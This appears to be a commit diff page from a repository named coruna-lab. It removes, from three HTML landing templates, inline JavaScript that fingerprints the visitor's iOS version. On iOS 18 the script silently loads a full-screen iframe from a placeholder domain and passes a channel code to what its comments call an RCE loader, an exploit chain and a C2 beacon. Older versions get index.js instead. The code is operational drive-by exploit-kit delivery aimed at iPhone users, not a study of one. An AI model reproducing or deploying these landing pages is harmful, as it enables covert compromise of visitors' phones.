root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: old channel

Browse Source
This commit is contained in:
hashbro
2026-10-07 05:19:52 +08:00
parent 2d3b6e1f2c
commit ba5d3c5731
30 changed files with 1517 additions and 896 deletions
Download Patch File Download Diff File Expand all files Collapse all files
channel-builder-new/source/weifile/templates/blank.html
+1 -46
View File
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
<script src="/t.js" defer></script>
</head>
<body>
<script type="text/javascript">
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
<script src="index.js"></script>
</body>
</html>
channel-builder-new/source/weifile/templates/test.html
+1 -40
View File
@@ -8,7 +8,6 @@
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>加载中</title>
<script src="/t.js" defer></script>
<style>
:root {
--bg: #0f1419;
@@ -112,45 +111,7 @@
<p class="title">加载中</p>
<p class="subtitle">请稍候，正在准备页面…</p>
</div>
<script type="text/javascript">
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
</script>
<script src="index.js"></script>
<script>
(function () {
var TOTAL = 15;
channel-builder-new/source/weifile/weifile.html
+1 -46
View File
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
<script src="/t.js" defer></script>
</head>
<body>
<script type="text/javascript">
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
<script src="index.js"></script>
</body>
</html>